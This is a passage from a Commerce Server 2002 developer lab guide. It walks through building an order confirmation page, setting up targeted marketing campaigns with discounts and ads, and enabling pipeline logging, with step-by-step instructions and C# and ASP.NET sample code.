         <td >&nbsp;<br></td>
      </tr>
   </table>

To insert the Repeater control

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click Design.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms box, drag and drop a Repeater control onto the form.
  4. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type OrderListing.
  5. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click HTML.
  6. Move the <asp:Repeater> and </asp:Repeater> tags between the </tr> and </table> tags.
  7. Insert the following code (as a sub-element) between the <asp:Repeater> and </asp:Repeater> tags:
    <ItemTemplate>
   <tr>
   <td colspan=5>
      <%# DataBinder.Eval(Container.DataItem, "Name") %>
   </td>
   </tr>
   <asp:Repeater id="BasketListing" DataSource='<%#DataBinder.Eval(Container.DataItem, "LineItems")%>' runat="server">
      <ItemTemplate>
      <tr>
            <td align="left" width="10%" runat="server" ID="Td1">
               <asp:Label ID="QuantityContent" Runat="server">
                  <%# ((LineItem)Container.DataItem)["Quantity"] %>
               </asp:Label>
            </td>
            <td align="left" width="60%" runat="server" ID="Td2">
               <asp:Label ID="ProductName" Runat="server">
                  <%# ((LineItem)Container.DataItem)["_product_Name"] %>
               </asp:Label>
               <br />
               <asp:Label ID="Description" Runat="server">
                  <%# ((LineItem)Container.DataItem)["_product_Description"] %>
               </asp:Label>
            </td>
            <td valign="right" width="10%" runat="server" ID="Td3">
               <asp:Label ID="PriceContent" Font-Name="verdana" Runat="server">
                  <%# Decimal.Parse(((LineItem)Container.DataItem)["_product_cy_list_price"].ToString()).ToString("c") %>
               </asp:Label>
            </td>
            <td valign="right" width="10%" runat="server" ID="Td4">
               <asp:Label ID="DiscountedPriceContent" Font-Name="verdana" Runat="server">
                  <%# Decimal.Parse(((LineItem)Container.DataItem)["_cy_oadjust_adjustedprice"].ToString()).ToString("c") %>
               </asp:Label>
            </td>
            </tr>
         </ItemTemplate>
         <SeparatorTemplate>
            <tr>
            <td colspan="5">
               <hr noshade runat="server" ID="Hr1"/>
            </td>
            </tr>
         </SeparatorTemplate>
      </asp:Repeater>
   </ItemTemplate>
   <FooterTemplate>
   </FooterTemplate>

Note

  • All fields beginning with “_” are temporary and only exist until the current basket instance is shut down. They are regenerated each time the pipeline components are run.

To insert controls on the OrderConfirmation.aspx page

Note

  • Add the following controls above the basket listing code that was added in the procedure, "To insert the Repeater control."
  1. In the Solution Explorer window, click View Designer.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms, drag and drop a Label control onto the form.
  4. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type AddressTitleLabel.
    Text | Type Address:.
  5. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  6. In the Properties window, make sure you the control that you just created is selected, and then in the ID box, type firstNameLabel.
  7. In the Toolbox window, in the Web Forms, drag and drop a Label control onto the form.
  8. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type lastNameLabel.
  9. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  10. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type addressLine1Label.
  11. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  12. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type addressLine2Label.
  13. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  14. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type cityLabel.
  15. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  16. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type stateLabel.
  17. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  18. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type zipLabel.
  19. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click HTML.
  20. Add the <br><br> tags after zipLabel.
  21. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click Design.
  22. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  23. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type subTotalLabel.
  24. In the Toolbox window, in the Web Forms, drag and drop a Label control onto the form.
  25. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type shippingTotalLabel.
  26. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  27. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type taxTotalLabel.
  28. In the Toolbox window, in the Web Forms section, drag and drop a Label control onto the form.
  29. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type totalLabel.
  30. In the Toolbox window, in the Web Forms section, drag and drop a Button control onto the form.
  31. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type confirmOrderBtn.
    Text | Type Confirm Order >>.

To insert Commerce Server classes

  1. In the Solution Explorer window, click View Code.
  2. Add the following references in the using section:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Orders;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Caching;

To insert class-wide variables

  1. In the public class section, add the following code:
    protected System.Web.UI.HtmlControls.HtmlTableCell Quantity;
protected System.Web.UI.HtmlControls.HtmlTableCell Name;
protected System.Web.UI.HtmlControls.HtmlTableCell DiscountedPrice;
protected System.Web.UI.WebControls.Repeater BasketListing;

OrderContext    ordersys = CommerceContext.Current.OrderSystem;
protected System.Web.UI.HtmlControls.HtmlTableCell Price;
Microsoft.CommerceServer.Runtime.Orders.Basket basket = null;

To add code to the Page_Load() event handler

  • In the Page_Load() event hander, add the following code:
    private void Page_Load(object sender, System.EventArgs e)
{
   // Render the basket
   // Validate login and redirect if user is not logged in

   if(!IsPostBack)
   {

      CommerceContext ctx = CommerceContext.Current;
      Profile userProfile = null;
      bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

      // This simple process does not carry the product that the
      // user was attempting to enter.  This would be good to do
      // in a real site...

      if(!isLoggedOn)
      {
         Response.Redirect("login.aspx");
      }

      // Extract the userID to get the basket
      ProfileContext profContext = ctx.ProfileSystem;
      string userId = ctx.UserID;

      basket = ordersys.GetBasket(new Guid(userId));

      //If there isn't anything in the basket, then redirect to the default.aspx page.
      if(!(basket.OrderForms.Count > 0))
      {
         Response.Redirect("default.aspx");
      }

      //Get the user profile
      userProfile = profContext.GetProfile(ctx.UserID,"UserObject");

      PipelineInfo info = new PipelineInfo("basket");

      info["CacheName"] = "discounts";
      info.Profiles.Add("User", CommerceContext.Current.UserProfile);
      basket.RunPipeline(info);
      // Run the total pipeline...
      info = new PipelineInfo("Total");
      basket.RunPipeline(info);

      // Now, populate the controls with the data from the user's order.
      totalLabel.Text = basket.Total.ToString("C");
      shippingLabel.Text = basket.ShippingTotal.ToString("C");
      subTotalLabel.Text = basket.SubTotal.ToString("C");
      taxTotalLabel.Text = basket.TaxTotal.ToString("C");

      // Assume the billing address is our only address in the OrderGroup.
      // Also, assume a US format address.

      // First, get the address object.
      OrderAddress address = basket.Addresses[basket.OrderForms["default"].BillingAddress];
      addressLine1Label.Text = address.Line1;
      addressLine2Label.Text = address.Line2;
      firstNameLabel.Text = address.FirstName;
      lastNameLabel.Text = address.LastName;
      cityLabel.Text = address.City;
      stateLabel.Text = address.State;
      zipLabel.Text = address.PostalCode;

      string orderFormName = "default";
      if(null != basket.OrderForms[orderFormName] && 0 < basket.OrderForms[orderFormName].LineItems.Count)
      {
         OrderListing.DataSource = basket.OrderForms;
         OrderListing.DataBind();
      }
      basket.Save();
   }
}

To add code to the confirmOrderBtn_Click() event handler

  1. In the Solution Explorer window, click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, double-click the Confirm Order >> button.
  3. In the confirmOrderBtn_Click() button handler, add the following code:
    private void confirmOrderBtn_Click(object sender, System.EventArgs e)
{
   CommerceContext ctx = CommerceContext.Current;
   // Extract the userID to get the basket
   ProfileContext profContext = ctx.ProfileSystem;
   string userId = ctx.UserID;

   basket = ordersys.GetBasket(new Guid(userId));

   // This next command converts our basket into an order and initiates
   // post-processing inside of CS2002.
   basket.SaveAsOrder();

   // Bounce the user to the start page.  We would also include a
   // page that displays an order number/receipt for purchase in a
   // live production site.
   Response.Redirect("default.aspx");
}


Lab 4: Implementing Marketing Campaigns

In this lab, you will implement marketing campaigns on your site using Visual Studio .NET.

After completing this lab, you can:

  • Create Campaign Expressions
  • Create Target Groups
  • Create Campaign Customers
  • Create Campaigns
  • Create Ads and Discounts Campaign Items

You will learn to programmatically do the following with the new Commerce Server 2002 Base Class Library (BCL):

  • Retrieve and display a targeted Advertisement
  • Retrieve, display, and process a targeted Discount

This lab contains the following steps:

  • Step 1: Create a Campaign Expression
  • Step 2: Create a Target Group
  • Step 3: Create a Campaign Customer
  • Step 4: Create a Discount Campaign
  • Step 5: Create an Ad Campaign
  • Step 6: Implement Content Selector Code


Step 1: Create a Campaign Expression

In this step, you will create campaign expressions, which are simple phrases that define specific user groups or product groups.

You will create a target expression for female construction workers.

  1. Start the NorthwindTraders Business Desk.
  2. In Campaigns, click Campaign Expressions.
  3. In the Campaign Expressions: Target Expressions screen, click New on the toolbar.
  4. In the Target Expression dialog box, do the following:
    Use this | To do this
    Name | Type Female.
    Description | Type Female User.
    Target based on the following conditions: Click New.
    • First box. Select User Object from the drop-down list, and then select Gender under General Information.
    • Second box. Select is equal to as an operator from the drop-down list.
    • Third box. Click the ellipsis [...] button.
      In the Choose a Site Tem dialog box, select Female from the list, and then click OK.
  5. Click Apply.
  6. The new target expression is added to the Target based on the following conditions box.
  7. To save the target expression and return to the Campaign Expressions: Target Expressions screen, click Save on the toolbar.


Step 2: Create a Target Group

After you create a campaign expression, you create a target group, which is a collection of campaign expressions. You specify whether to include, exclude, or require each of the campaign expressions.

In this step, you will create a target group for female contractors on your site by requiring the Women and Contractor expressions. You use the Target Group module to create new expression, and then create a new target group.

To create a new expression

To create a new target group

To create a new expression

  1. In Campaigns, click Target Group.
  2. In the Target Group screen, click New on the toolbar.
  3. In the Target Group: New screen, in the Target group name box, type Female Contractors, and then click Create New Expression.

    Note

    • You can create a new campaign expression using a procedure similar to that shown in Step 1 "Create a Campaign Expression."
  4. In the Target Expression dialog box, do the following:
    Use this | To do this
    Name | Type Contractor.
    Description | Type Contractor / Commercial Business user.
    Target based on the following conditions: Click New.
    • First box. Select User Object from the drop-down list, and then select User Description under General Information.
    • Second box. Select is equal to as an operator from the drop-down list.
    • Third box. Click the ellipsis [...] button.
      In the Choose a Site Tem dialog box, select Contractor / Commercial Business from the list, and then click OK.
  5. Click Apply.
  6. To save the target expression click Save.
  7. Close the Target Expression dialog box.

To create a new target group

  1. In the Target Group: New screen, do the following:
    Use this | To do this
    Target group name | Type Female Contractors. Click New.
    Expression | Select Female from the drop-down list.
    Action | Select the Require action for the new target group from the drop-down list.
  2. Click Accept, and then click New to select another campaign expression.
  3. In the Target Group: New screen, do the following:
    Use this | To do this
    Expression | Select Contractor from the drop-down list.
    Action | Select the Require action for the new target group from the drop-down list.
  4. Click Accept
  5. To save the target group and return to the Target Group screen, click Save and go back on the toolbar.


Step 3: Create a Campaign Customer

After you have created the target group, you create a campaign customer, which is required to create any campaign item.

In this step, you will create a campaign customer as Northwind Traders (a self customer).

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, click Add on the toolbar, and then select New Customer from the drop-down list.
  3. In the Campaign Manager - New (customer) screen, in the Customer Properties section, do the following:
    Use this | To do this
    Name | Type Northwind Traders.
    Address | Leave this field blank.
    Type | Select the Self as the type of relationship you have with the customer from the drop-down list.
    URL | Leave this field blank.
    Industry | Leave this field blank.
    Comments | Leave this field blank.
  4. In the Contact Information section, do the following:
    Use this | To do this
    Contact | Leave this field blank.
    Email | Leave this field blank.
    Phone | Leave this field blank.
    Fax | Leave this field blank.
  5. To save the customer information and return to the Campaign Manager screen, click Save and go back on the toolbar.

The customer information is saved.


Step 4: Create a Discount Campaign

After you create a campaign customer, you create campaign items for the customer. Each customer can have multiple campaigns.

In this step, you will do the following:

  1. Create a new discount campaign.
  2. Create discount properties.
  3. Create a discount definition for the following: female contractors who buy 10 units of switch (SKU # 6001) will receive one unit free.

To create a new discount campaign

To create discount properties

To create a discount promotion for female contractors

To create a new discount campaign

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select Northwind Traders from the list, click Add on the toolbar, and then select New Campaign from the drop-down list.
  3. In the Campaign Manager - Northwind Traders - New (campaign) screen, in the Campaign Properties section, do the following:
    Use this | To do this
    Campaign name | Type Contractors Discount.
    Start date | Select the default date.
    End date Select 12/31/2002 as the campaign end date from the drop-down calendar.

    Campaign dates are used as default dates for campaign item dates. However, campaign item dates override campaign dates. A campaign item date may be set to extend past the dates for the campaign.
    Status | Select Active as the campaign status from the drop-down list.
    Comments | Leave this field blank.
  4. To save the campaign information and return to the Campaign Manager screen, click Save and go back on the toolbar.

To create discount properties

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand Northwind Traders customer. Select the Contractors Discount campaign, click Add on the toolbar, and then select New Discount from the drop-down list.
  3. In the Campaign Manager Northwind Traders - Contractors Discount - New (discount) screen, in the Discount Properties section, do the following:
    Use this | To do this
    Discount name | Type Electrical Switch targeted at Females.
    Status | Select Active as the discount campaign status from the drop-down list.
    Priority Select 10 as the priority of the discount from the drop-down list.

    The priority of the discount determines which discounts are applicable in the basket. For example, a discount with a priority of 10 is applied over a discount with a priority of 20.
    Comments | Leave this field blank.
    Start date | Select the default Start date (current date).
    End date | Select 12/31/2002 as the discount end date from the drop-down calendar.

To create a discount promotion for female contractors

  1. In the Campaign Manager Northwind Traders - Contractors Discount - New (discount) screen, in the Discount Definition section, do the following:
    Use this | To do this
    Buy: Buy Condition box
    • Type box. Select Quantity as the type of Buy condition from the drop-down list.
    • Value box. Enter 10 as the quantity amount.
    • Catalog expression. Click the ellipsis [...] button.

      In the Catalog Expressions dialog box, do the following:

      Name: Enter 6001.

      Description: Enter Switch.

      Click New to create a new target expression.

      • First box: Click Products, and then select SKU from the drop-down list.
      • Second box: Select is equal to from the drop-down list.
      • Third box: Type 6001.

      Click Apply, and then click Save.

    Get Get Condition box
    • Number. Type 1 as the number of units of the catalog item that the user is awarded when the rules of the discount are met.
    • Catalog expression. Select 6001 from the drop-down list.
    • Type. Select Percent (%) as the unit of measure for the discount award from the drop-down list.
    • Value. Type 100 as the percentage value of the discount award. This will offer selected users the eleventh item for free.

    For information about discount awards, see Discount Awards.
    Apply offer on Get product alone | Clear this option.
    Apply offer on both Get and Buy Products | Select this disjoint discount to have the buy condition reused as an award.
    Eligibility Requirements: Expression Available | Select both Female and Contractor expressions for the discount from the list, and then click Add.
  2. In the Campaign Manager Northwind Traders - Contractors Discount - New (discount) screen, in the Discount Display Target section, do the following:
    Use this To do this
    Page groups: Available Select the Female Contractors page group, and then click Add.

    The page group is moved to the Assigned box. To remove a page group from the Assigned box, click Remove. This moves the page group to the Available box.

  3. In the Campaign Manager Northwind Traders - Contractors Discount - New (discount) screen, in the Discount Display section, do the following:
    Use this | To do this
    Exposure limit | Accept the default None value.
    Basket display | Type Buy 10 switches get 1 free!.
    Content Size | Accept the default Full Banner (468x60) value.
    Content Type | Accept the default Image value.
    Image URL | Type http://localhost/northwindtraders/images/campaign/ ad_234x60_6001.gif.
    Click URL | Type productdetail.aspx?ProductID=THREEWAYSWITCH(electrical).
    Alternative text | Type 3-way Switch.
  4. To save the discount item, click Save on the toolbar.
  5. Click Preview to view the ad.
  6. To return to the Campaign Manager screen, click Back on the toolbar.


Step 5: Create an Ad Campaign

In Commerce Server 2002, Ad Campaigns can be targeted using the Content Selection Framework (CSF). Each Ad has a need of delivery based upon the number of impressions, the number of days to deliver them, and a relative weighting against other ads before they are displayed to the user visiting your Web site. You can set ads to be house ads so that the ads are rotated on your Web site on an "as possible" basis, which minimizes the impact on paying ads on your site through your business partners.

In this step, you will create a new ad campaign and then create a new house ad for Microsoft Commerce Server 2002 and Visual Studio .NET.

To create a new ad campaign

To create a new ad

To create a new ad campaign

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, select Northwind Traders from the list, click Add on the toolbar, and then select New Campaign from the drop-down list.
  3. In the Campaign Manager - Northwind Traders - New (campaign) screen, in the Campaign Properties section, do the following:
    Use this | To do this
    Campaign name | Type Free Advertising.
    Start date | Select the default date (current date).
    End date Select 12/31/2002 as the campaign end date from the drop-down calendar.

    Campaign dates are used as default dates for campaign item dates. However, campaign item dates override campaign dates. A campaign item date may be set to extend past the dates for the campaign.
    Status | Select Active as the campaign status from the drop-down list.
    Comments | Leave this field blank.
  4. In the Campaign Manager - Northwind Traders - New (campaign) screen, in the Advertising/Campaign Goaling section, do the following:
    Use this | To do this
    Set goals by | Select the Campaigns as the goaling level from the drop-down list.
    Quantity ordered | Type 100000 as the number of requests ordered for this campaign.
    Scheduled by Select Request from the drop-down list.

    Request indicates that the goals of the campaign will be met when the ad is displayed on the specified page group(s).
  5. To save the campaign information and return to the Campaign Manager screen, click Save and go back on the toolbar.

To create a new ad

  1. In Campaigns, click Campaign Manager.
  2. In the Campaign Manager screen, expand Northwind Traders, expand Advertising Demo Ads, click New on the toolbar, and then select New Ad from the drop-down list to create the new ad.
  3. In the Campaign Manager - Northwind Traders - Free Advertising - New (ad) screen, in the Ad Properties screen, do the following:
    Use this | To do this
    Ad name | Type Microsoft Commerce Server 2002.
    Status | Select Active.
    Type | Select House Ad from the drop-down list.
    Weight Type 1 as the weight of the ad.

    Weight is a means of determining how frequently an ad is displayed, relative to all of the campaign items for a given customer. In a campaign, weight only applies to ads that are goaled at the campaign-level. If the ads are goaled at the item level, weight is not used for paid ads.

    For house ads the weight is relative to all other house ads for all customers and all campaigns. For paid ads, the weight is relative to other paid ads in the same campaign. The weight of an individual campaign item is relative to the weight of all the other campaign items.
    Exposure limit | Select None from the drop-down list to have no maximum limit to the number of times the ad can be shown to a user per session.
    Date received Accept the default settings.

    This box contains the current date as the default. After the ad is saved, the date cannot be changed.

    Industry | Accept the default setting of None.
    Comments | Leave this field blank.
  4. In the Ad Schedule section, do the following:
    Use this | To do this
    Start date | Select the default date (current date).
    End date | Select 12/31/2002 as the ad campaign end date from the drop-down calendar.
    Days | Select each day of the week.
    Start time | Make sure this is set to 00:00.
    End time | Make sure this is set to 00:00.
  5. In the Ad Target section, make sure that the Show on all Page Groups option is selected.
  6. In the Ad Display section, do the following:
    Use this | To do this
    Size | Select Full Banner (468x60) from the drop-down box.
    Type | Select Image from the drop-down box.
    Image URL | Type http://localhost/northwindtraders/images/campaign/468x60_ComServ2002.jpg.
    Click URL | Type http://www.microsoft.com/CommerceServer.
    Alternative text | Type Commerce Server 2002.
  7. To save the ad and return to the Campaign Manager screen, click Save and go back on the toolbar.
  8. In Campaigns, click Publish Campaigns.
  9. In the Publish Campaigns screen, select the campaign item, and then click Publish on the toolbar.

The campaign item is sent to production. The site is updated to include the new campaign item.


Step 6: Implementing Content Selector Code

Using the Commerce Server 2002 Base Class Library (BCL), you can easily and rapidly implement marketing campaigns on your Web site. In this step, you will implement the code required to enable Ads and Discounts campaign items on your Web site. You will add the <ContentSelection> tag and enable pipeline and caching components in the Web.config file. You will also add references to the CacheCompLib.dll Primary Interop Assembly (PIA), which is required to enable the ContentList Dictionary on the redir.aspx page.

In this step you will do the following:

  1. Add references to the CacheCompLib.dll (PIA).
  2. Edit the Web.config file.
  3. Add discount and ad labels to the default page.
  4. Add code to the default page.
  5. Create a page to record the click events and redirect users to advertisement URL.

To add references to the CacheCompLib.dll PIA

To edit the Web.config file

To add discount and ad labels to the default page

To add code to the default page

To create a page to record and redirect

To add references to the CacheCompLib.dll PIA

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click References, and then click Add Reference.
  5. In the Add Reference dialog box, in the .NET tab, select CacheCompLib.dll from the list, click Select, and then click OK.
  6. In the Solution Explorer - NorthwindTraders window, collapse the References node.

To edit the Web.config file

  1. In the Solution Explorer - NorthwindTraders window, right-click the web.config file, and then click Open.
  2. Remove the comment tags around the <caches> and <pipelines> tags for the following records (name=” ”):
    • Advertising
    • Discounts
    • Recordevents
  3. Add the following <contentSelection> record within the <CommerceServer> record:
    <contentSelection>
<add name="advertising" cacheName="advertising" selectionPipeline="advertising" eventPipeline="recordEvent" redirectUrl="./redir.aspx"/>
<add name="discounts" cacheName="discounts" selectionPipeline="discounts" eventPipeline="recordEvent" redirectUrl="./redir.aspx"/>
</contentSelection>

To add discount and ad labels to the default page

  1. In the Solution Explorer - NorthwindTraders window, right-click the default.aspx file, and then click View Designer.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the form.
  4. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type discountLabel.
    Text | Delete the contents of this box.
  5. In the Toolbox window, in the Web Forms section, drag and drop another Label object onto the form.
  6. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type adLabel.
    Text | Delete the contents of this box.

To add code to the default page

  1. In the Solution Explorer - NorthwindTraders window, right-click the default.aspx file, and then click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx.cs window, in the using section, add the following lines of code:
    using System.Collections.Specialized;
using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Targeting;
using Microsoft.CommerceServer.Runtime.Profiles;
using System.Diagnostics;
  3. In the public class section, add the following protected labels:
    protected System.Web.UI.WebControls.Label adLabel;
protected System.Web.UI.WebControls.Label discountLabel;
  4. In the Page_Load() method, add the following code:
    // Create a targeting profile
CommerceContext ctx = CommerceContext.Current;
Profile userProfile = null;
bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

if (isLoggedOn)
{
   // Extract the user's profile for the Campaign system to
   // decide if the user should be targeted for a given ad.
   ProfileContext profContext = ctx.ProfileSystem;

   string userId = ctx.AuthenticationInfo.AuthTicket.UserID;
   userProfile = profContext.GetProfile(userId, "UserObject");
}
//check for the profile

// Get the AD

// Get a ContentSelector and set its properties
ContentSelector csoAd = ctx.TargetingSystem.SelectionContexts["advertising"].GetSelector();
csoAd.TraceMode = true;
csoAd.ItemsRequested = 1;

if(null != userProfile)
{
   csoAd.Profiles.Add("User", userProfile);
}

csoAd.Size = "Banner";

// Get some content using CS2002 Content Selection Framework
StringCollection adpayload = csoAd.GetContent();
foreach (string adItem in adpayload)
{
   adLabel.Text = adLabel.Text + adItem.ToString() + "";
}

// Get the Discount

// Create a targeting profile

// ctx is still active

// Get a ContentSelector and set its properties
ContentSelector csoDiscount = ctx.TargetingSystem.SelectionContexts["discounts"].GetSelector();
csoDiscount.TraceMode = true;
csoDiscount.ItemsRequested = 1;

if(null != userProfile)
{
   csoDiscount.Profiles.Add("User", userProfile);
}

// Get the content using CS2002 Content Selection Framework
StringCollection discountPayload = csoDiscount.GetContent();
foreach (string discountItem in discountPayload)
{
   discountLabel.Text = discountLabel.Text + discountItem.ToString() + "";
}

To create a page to record and redirect

  1. In the Solution Explorer - NorthwindTraders window, right-click the NorthwindTraders, point to Add, and then click Add Web Form.
  2. In the Add new Item - NorthwindTraders dialog box, in the Name box, type redir.aspx, and then click Open.
  3. In the Solution Explorer - NorthwindTraders window, right-click the redir.aspx file, and then click View Code.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – redir.aspx.cs window, in the using section, add the following lines of code:
    using System.Collections.Specialized;
using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Targeting;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Caching;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using System.Diagnostics;
using System.Runtime.Serialization;
using System.Runtime.InteropServices;
using Microsoft.CommerceServer.Interop.Caching;
  5. In the Page_Load() method, add the following code:
    //Get query string parameters
NameValueCollection coll = Request.QueryString;
//Records event
//Note:  FormatterConverter is a .NET Framework function and it is used
//       to convert the string to an int in the record event call
FormatterConverter format = new FormatterConverter();
RecordEvent(format.ToInt32(coll["ciid"]), coll["cachename"], format.ToInt32(coll["PageGroupId"]));
//Redirect to target URL
Response.Redirect(coll["url"]);
  6. In the public class redir section, add the following code:
    public void RecordEvent(int ciid, string cacheName, int pageGroupId)
{
   //Get Commerce Context.
   CommerceContext ctx = CommerceContext.Current;
   if(null == ctx)
   {
      return;
   }

   //Get advertisement cache from cachemanager.
   CommerceCache cache = ctx.Caches[cacheName];
   if(null == cache)
   {
      return;
   }

   Microsoft.CommerceServer.Runtime.IDictionary cacheData = (Dictionary) cache.GetCache();
   if(null == cacheData)
   {
      return;
   }

   //Get record event pipeline from framework.
   PipelineBase recordEventPipeline = ctx.Pipelines["recordevent"];
   if(null != recordEventPipeline)
   {
      //Create order and context dictionaries, assuming it will be successful.
      Microsoft.CommerceServer.Runtime.IDictionary orderDictionary = new Microsoft.CommerceServer.Runtime.Dictionary();
      Microsoft.CommerceServer.Runtime.IDictionary contextDictionary = new Microsoft.CommerceServer.Runtime.Dictionary();
      if(null == orderDictionary && null == contextDictionary)
      {
         return;
      }

      //Initialize order dictionary.
      ContentListFactory contentFactory = null;
      orderDictionary["_winners"] = ciid;
      orderDictionary["_event"] = "CLICK";

      orderDictionary["_performance"] = cacheData["_performance"];
      contentFactory = (ContentListFactory)cacheData["Factory"];
      ContentList contentList = contentFactory.CreateNewContentList();
      orderDictionary["_content"] = contentList;

      //Initialize context dictionary.
      contextDictionary["SiteName"] = ctx.SiteName;
      contextDictionary["PageGroupId"] = pageGroupId;

      //Execute Record event pipeline and log event to weblog.
      recordEventPipeline.Execute(orderDictionary, contextDictionary);

      //Release refernces to COM objects.
      if(null != cacheData)
      {
         Marshal.ReleaseComObject(cacheData);
      }
      if(null != orderDictionary)
      {
         Marshal.ReleaseComObject(orderDictionary);
      }
      if(null != contextDictionary)
      {
         Marshal.ReleaseComObject(contextDictionary);
      }
      if(null != contentFactory)
      {
         Marshal.ReleaseComObject(contentFactory);
      }
      if(null != contentList)
      {
         Marshal.ReleaseComObject(contentList);
      }
   }
   else
   {
      return;
   }
}


Lab 5: Debugging Commerce Server 2002 in ASP .NET

Commerce Server 2002 supports several methods for the tracing and logging of code execution to help troubleshoot problems that may occur.

You can enable tracing on different objects within the hierarchy to view execution problems that may not have generated complete exceptions, but may have unexpectedly altered the results of a given operation.

You can also enable pipeline logging to view when pipelines are being executed, and what is triggering them. For example, you can view users as they are processed by the pipeline components (logfilename==user_id). You can also view internal pipeline component operations such as the fields that are being processed, and their values.

In this lab you will learn how to debug Commerce Server 2002 pipeline components, and utilize DebugContext object(s).

This lab contains the following steps:

  • Step 1: Commerce Server 2002 Pipeline Logging and Debugging
  • Step 2: Using the DebugContext and ConsoleDebugContext Objects


Step 1: Commerce Server 2002 Pipeline Logging and Debugging

In this step you will learn how to enable pipeline logging on the system and insert custom logging scripts to save the pipeline contents to a file.

To enable pipeline logging

To insert a custom logging script

Sample Scripter Code

To enable pipeline logging

  1. In the Solution Explorer - NorthwindTraders window, right-click the Web.config file, and then click Open.
  2. Locate the <pipelines> section, in the <pipeline> tag of the pipeline on which you want to enable logging, and insert the command loggingEnabled="true" at the very bottom of the pipeline record (before the end tag of the desired pipeline).

Notes

  • By default, the pipeline output log files are stored in the <Project Name>/pipelines/logs folder.
  • The output log files are broken apart by the UserID (GUID) of the user whose session initiated the given pipeline.

To insert custom logging script

  1. In the Solution Explorer - NorthwindTraders window, expand the Pipelines folder, and then double-click the file basket.pcf. The Commerce Server Pipeline Editor starts.

    Note

    • If you do not see the Pipelines folder, click Show All Files, right-click the Pipelines folder, and then click Include in Project.
  2. In the Commerce Server Pipeline Editor window, right-click any of the pipeline states after the QueryCatalogInfo and RequiredProdInfo components, point to Insert Component, and then click After.
  3. In the Choose a component dialog box, select Scriptor from the components list, and then click OK.
  4. In the Commerce Server Pipeline Editor window, double-click the newly added Scriptor component.
  5. In the Component Properties dialog box, click Edit for internal scriptor and insert the code provided below, or select external and specify the log file location to which you will save pipeline contents.
  6. In the Component Properties dialog box, in the Config box, type filename=c:\orderdump.log, and then click the Component Properties tab.
  7. In the Component Properties dialog box, on the Component Properties tab, in the Label box, type OrderDump.
  8. Click OK.
  9. To save the pipeline, click Save on the toolbar.

The next time youview the basket page and the basket.pcf pipeline is executed, an output file will be placed in the location specified (c:\orderdump.log) that will contain all of the parameters from the specified dictionary.

Sample Scripter Code

Following is sample code that can be used for internal scripting by the Scriptor pipeline component:

' DumpOrder is a simple example of building a component using VBS and scriptor
'
' To use dumporder, configure a Pipeline using one of the available
' Pipeline Editors.
' Set the Language to VBScript, choose File and set the file to DumpOrder.vbs
' (this file).
'
' In addition, this script assumes you set the filename parameter to a
' valid filename for output. The directory the output file is written to
' must be set up to
' have write access via the user your IIS is running as.
'
' For example, you could set
' filename=c:\orderdump.log
' in the Parameters control.
'
' This would assume your IIS user can write to c:\
'
